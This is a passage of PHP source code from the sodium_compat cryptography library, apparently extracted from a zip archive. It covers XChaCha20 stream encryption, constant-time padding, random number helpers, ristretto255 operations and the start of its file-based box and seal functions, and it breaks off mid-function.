you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xor($message, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream_xor($message, $nonce, $key); } if (self::use_fallback('crypto_stream_xor')) { return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_keygen() { return random_bytes(self::CRYPTO_STREAM_KEYBYTES); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XChaCha20 key * @param bool $dontFallback * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20($len, $nonce, $key, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20($len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor($message, $nonce, $key, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream_xchacha20 * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_xchacha20_keygen() { return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES); } /** * Cache-timing-safe implementation of hex2bin(). * * @param string $string Hexadecimal string * @return string Raw binary string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function hex2bin($string) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { if (is_callable('sodium_hex2bin')) { return (string) sodium_hex2bin($string); } } if (self::use_fallback('hex2bin')) { return (string) call_user_func('\\Sodium\\hex2bin', $string); } return ParagonIE_Sodium_Core_Util::hex2bin($string); } /** * Increase a string (little endian) * * @param string $var * * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function increment(&$var) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { sodium_increment($var); return; } if (self::use_fallback('increment')) { $func = '\\Sodium\\increment'; $func($var); return; } $len = ParagonIE_Sodium_Core_Util::strlen($var); $c = 1; $copy = ''; for ($i = 0; $i < $len; ++$i) { $c += ParagonIE_Sodium_Core_Util::chrToInt( ParagonIE_Sodium_Core_Util::substr($var, $i, 1) ); $copy .= ParagonIE_Sodium_Core_Util::intToChr($c); $c >>= 8; } $var = $copy; } /** * @param string $str * @return bool * * @throws SodiumException */ public static function is_zero($str) { $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]); } return ((($d - 1) >> 31) & 1) === 1; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_major() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) { return SODIUM_LIBRARY_MAJOR_VERSION; } if (self::use_fallback('library_version_major')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_major'); } return self::LIBRARY_VERSION_MAJOR; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_minor() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) { return SODIUM_LIBRARY_MINOR_VERSION; } if (self::use_fallback('library_version_minor')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_minor'); } return self::LIBRARY_VERSION_MINOR; } /** * Compare two strings. * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function memcmp($left, $right) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return sodium_memcmp($left, $right); } if (self::use_fallback('memcmp')) { return (int) call_user_func('\\Sodium\\memcmp', $left, $right); } /** @var string $left */ /** @var string $right */ return ParagonIE_Sodium_Core_Util::memcmp($left, $right); } /** * It's actually not possible to zero memory buffers in PHP. You need the * native library for that. * * @param string|null $var * @param-out string|null $var * * @return void * @throws SodiumException (Unless libsodium is installed) * @throws TypeError * @psalm-suppress TooFewArguments */ public static function memzero(&$var) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { /** @psalm-suppress MixedArgument */ sodium_memzero($var); return; } if (self::use_fallback('memzero')) { $func = '\\Sodium\\memzero'; $func($var); if ($var === null) { return; } } // This is the best we can do. throw new SodiumException( 'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' . 'To fix this error, make sure libsodium is installed and the PHP extension is enabled.' ); } /** * @param string $unpadded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function pad($unpadded, $blockSize, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $unpadded = (string) $unpadded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_pad($unpadded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException( 'block size cannot be less than 1' ); } $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded); $xpadlen = ($blockSize - 1); if (($blockSize & ($blockSize - 1)) === 0) { $xpadlen -= $unpadded_len & ($blockSize - 1); } else { $xpadlen -= $unpadded_len % $blockSize; } $xpadded_len = $unpadded_len + $xpadlen; $padded = str_repeat("\0", $xpadded_len - 1); if ($unpadded_len > 0) { $st = 1; $i = 0; $k = $unpadded_len; for ($j = 0; $j <= $xpadded_len; ++$j) { $i = (int) $i; $k = (int) $k; $st = (int) $st; if ($j >= $unpadded_len) { $padded[$j] = "\0"; } else { $padded[$j] = $unpadded[$j]; } /** @var int $k */ $k -= $st; $st = (int) (~( ( ( ($k >> 48) | ($k >> 32) | ($k >> 16) | $k ) - 1 ) >> 16 ) ) & 1; $i += $st; } } $mask = 0; $tail = $xpadded_len; for ($i = 0; $i < $blockSize; ++$i) { # barrier_mask = (unsigned char) # (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT)); $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1); # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask); $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask) | (0x80 & $barrier_mask) ); # mask |= barrier_mask; $mask |= $barrier_mask; } return $padded; } /** * @param string $padded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function unpad($padded, $blockSize, $dontFallback = false) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $padded = (string) $padded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_unpad($padded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException('block size cannot be less than 1'); } $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded); if ($padded_len < $blockSize) { throw new SodiumException('invalid padding'); } # tail = &padded[padded_len - 1U]; $tail = $padded_len - 1; $acc = 0; $valid = 0; $pad_len = 0; $found = 0; for ($i = 0; $i < $blockSize; ++$i) { # c = tail[-i]; $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]); # is_barrier = # (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U; $is_barrier = ( ( ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1) ) >> 7 ) & 1; $is_barrier &= ~$found; $found |= $is_barrier; # acc |= c; $acc |= $c; # pad_len |= i & (1U + ~is_barrier); $pad_len |= $i & (1 + ~$is_barrier); # valid |= (unsigned char) is_barrier; $valid |= ($is_barrier & 0xff); } # unpadded_len = padded_len - 1U - pad_len; $unpadded_len = $padded_len - 1 - $pad_len; if ($valid !== 1) { throw new SodiumException('invalid padding'); } return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len); } /** * Will sodium_compat run fast on the current hardware and PHP configuration? * * @return bool */ public static function polyfill_is_fast() { if (extension_loaded('sodium')) { return true; } if (extension_loaded('libsodium')) { return true; } return PHP_INT_SIZE === 8; } /** * Generate a string of bytes from the kernel's CSPRNG. * Proudly uses /dev/urandom (if getrandom(2) is not available). * * @param int $numBytes * @return string * @throws Exception * @throws TypeError */ public static function randombytes_buf($numBytes) { /* Type checks: */ if (!is_int($numBytes)) { if (is_numeric($numBytes)) { $numBytes = (int) $numBytes; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.' ); } } /** @var positive-int $numBytes */ if (self::use_fallback('randombytes_buf')) { return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes); } if ($numBytes < 0) { throw new SodiumException("Number of bytes must be a positive integer"); } return random_bytes($numBytes); } /** * Generate an integer between 0 and $range (non-inclusive). * * @param int $range * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_uniform($range) { /* Type checks: */ if (!is_int($range)) { if (is_numeric($range)) { $range = (int) $range; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($range) . ' given.' ); } } if (self::use_fallback('randombytes_uniform')) { return (int) call_user_func('\\Sodium\\randombytes_uniform', $range); } return random_int(0, $range - 1); } /** * Generate a random 16-bit integer. * * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_random16() { if (self::use_fallback('randombytes_random16')) { return (int) call_user_func('\\Sodium\\randombytes_random16'); } return random_int(0, 65535); } /** * @param string $p * @param bool $dontFallback * @return bool * @throws SodiumException */ public static function ristretto255_is_valid_point($p, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_is_valid_point($p); } try { $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p); return $r['res'] === 0 && ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1; } catch (SodiumException $ex) { if ($ex->getMessage() === 'S is not canonical') { return false; } throw $ex; } } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_add($p, $q, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_add($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q); } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_sub($p, $q, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_sub($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q); } /** * @param string $r * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_from_hash($r, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_from_hash($r); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random(); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_scalar_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random(); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_invert($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_invert($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_negate($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_complement($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_add($x, $y, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_add($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_sub($x, $y, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_sub($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_mul($x, $y, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_mul($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255($n, $p, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255($n, $p); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base($n, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255_base($n); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_reduce($s, $dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_reduce($s); } return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s); } /** * Runtime testing method for 32-bit platforms. * * Usage: If runtime_speed_test() returns FALSE, then our 32-bit * implementation is to slow to use safely without risking timeouts. * If this happens, install sodium from PECL to get acceptable * performance. * * @param int $iterations Number of multiplications to attempt * @param int $maxTimeout Milliseconds * @return bool TRUE if we're fast enough, FALSE is not * @throws SodiumException */ public static function runtime_speed_test($iterations, $maxTimeout) { if (self::polyfill_is_fast()) { return true; } /** @var float $end */ $end = 0.0; /** @var float $start */ $start = microtime(true); /** @var ParagonIE_Sodium_Core32_Int64 $a */ $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); for ($i = 0; $i < $iterations; ++$i) { /** @var ParagonIE_Sodium_Core32_Int64 $b */ $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); $a->mulInt64($b); } /** @var float $end */ $end = microtime(true); /** @var int $diff */ $diff = (int) ceil(($end - $start) * 1000); return $diff < $maxTimeout; } /** * Add two numbers (little-endian unsigned), storing the value in the first * parameter. * * This mutates $val. * * @param string $val * @param string $addv * @return void * @throws SodiumException */ public static function sub(&$val, $addv) { $val_len = ParagonIE_Sodium_Core_Util::strlen($val); $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv); if ($val_len !== $addv_len) { throw new SodiumException('values must have the same length'); } $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val); $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv); $c = 0; for ($i = 0; $i < $val_len; $i++) { $c = ($A[$i] - $B[$i] - $c); $A[$i] = ($c & 0xff); $c = ($c >> 8) & 1; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * This emulates libsodium's version_string() function, except ours is * prefixed with 'polyfill-'. * * @return string * @psalm-suppress MixedInferredReturnType * @psalm-suppress UndefinedFunction */ public static function version_string() { if (self::useNewSodiumAPI()) { return (string) sodium_version_string(); } if (self::use_fallback('version_string')) { return (string) call_user_func('\\Sodium\\version_string'); } return (string) self::VERSION_STRING; } /** * Should we use the libsodium core function instead? * This is always a good idea, if it's available. (Unless we're in the * middle of running our unit test suite.) * * If ext/libsodium is available, use it. Return TRUE. * Otherwise, we have to use the code provided herein. Return FALSE. * * @param string $sodium_func_name * * @return bool */ protected static function use_fallback($sodium_func_name = '') { static $res = null; if ($res === null) { $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300; } if ($res === false) { // No libsodium installed return false; } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } if (!empty($sodium_func_name)) { return is_callable('\\Sodium\\' . $sodium_func_name); } return true; } /** * Libsodium as implemented in PHP 7.2 * and/or ext/sodium (via PECL) * * @ref https://wiki.php.net/rfc/libsodium * @return bool */ protected static function useNewSodiumAPI() { static $res = null; if ($res === null) { $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium'); } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } return (bool) $res; } } PKÜ�\'�m�A�A�+vendor/paragonie/sodium_compat/src/File.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_File', false)) { return; } /** * Class ParagonIE_Sodium_File */ class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util { /* PHP's default buffer size is 8192 for fread()/fwrite(). */ const BUFFER_SIZE = 8192; /** * Box a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_box(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $nonce Number to be used only once * @param string $keyPair ECDH secret key and ECDH public key concatenated * * @return bool * @throws SodiumException * @throws TypeError */ public static function box($inputFile, $outputFile, $nonce, $keyPair) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } /* Input validation: */ if (!is_string($keyPair)) { throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.'); } if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes'); } if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair); fclose($ifp); fclose($ofp); return $res; } /** * Open a boxed file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_box_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_box_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $nonce * @param string $keypair * @return bool * @throws SodiumException * @throws TypeError */ public static function box_open($inputFile, $outputFile, $nonce, $keypair) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } if (!is_string($keypair)) { throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) { throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes'); } if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($nonce); ParagonIE_Sodium_Compat::memzero($ephKeypair); } catch (SodiumException $ex) { if (isset($ephKeypair)) { unset($ephKeypair); } } return $res; } /** * Seal a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $publicKey ECDH public key * * @return bool * @throws SodiumException * @throws TypeError */ public static function box_seal($inputFile, $outputFile, $publicKey) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($publicKey)) { throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.'); } /* Input validation: */ if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) { throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } /** @var string $ephKeypair */ $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair(); /** @var string $msgKeypair */ $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey( ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair), $publicKey ); /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair); /** @var string $nonce */ $nonce = ParagonIE_Sodium_Compat::crypto_generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var int $firstWrite */ $firstWrite = fwrite( $ofp, $ephemeralPK, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES ); if (!is_int($firstWrite)) { fclose($ifp); fclose($ofp); ParagonIE_Sodium_Compat::memzero($ephKeypair); throw new SodiumException('Could not write to output file'); } if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) { ParagonIE_Sodium_Compat::memzero($ephKeypair); fclose($ifp); fclose($ofp); throw new SodiumException('Error writing public key to output file'); } $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($nonce); ParagonIE_Sodium_Compat::memzero($ephKeypair); } catch (SodiumException $ex) { /** @psalm-suppress PossiblyUndefinedVariable */ unset($ephKeypair); } return $res; } /** * Open a sealed file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_box_seal_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $ecdhKeypair * @return bool * @throws SodiumException * @throws TypeError */ public static function box_seal_open($inputFile, $outputFile, $ecdhKeypair) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($ecdhKeypair)) { throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.'); } /* Input validation: */ if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes'); } $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair); /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES); if (!is_string($ephemeralPK)) { throw new SodiumException('Could not read input file'); } if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) { fclose($ifp); fclose($ofp); throw new SodiumException('Could not read public key from sealed file'); } $nonce = ParagonIE_Sodium_Compat::crypto_generichash( $ephemeralPK . $publicKey, '', 24 ); $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey( ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair), $ephemeralPK ); $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair); 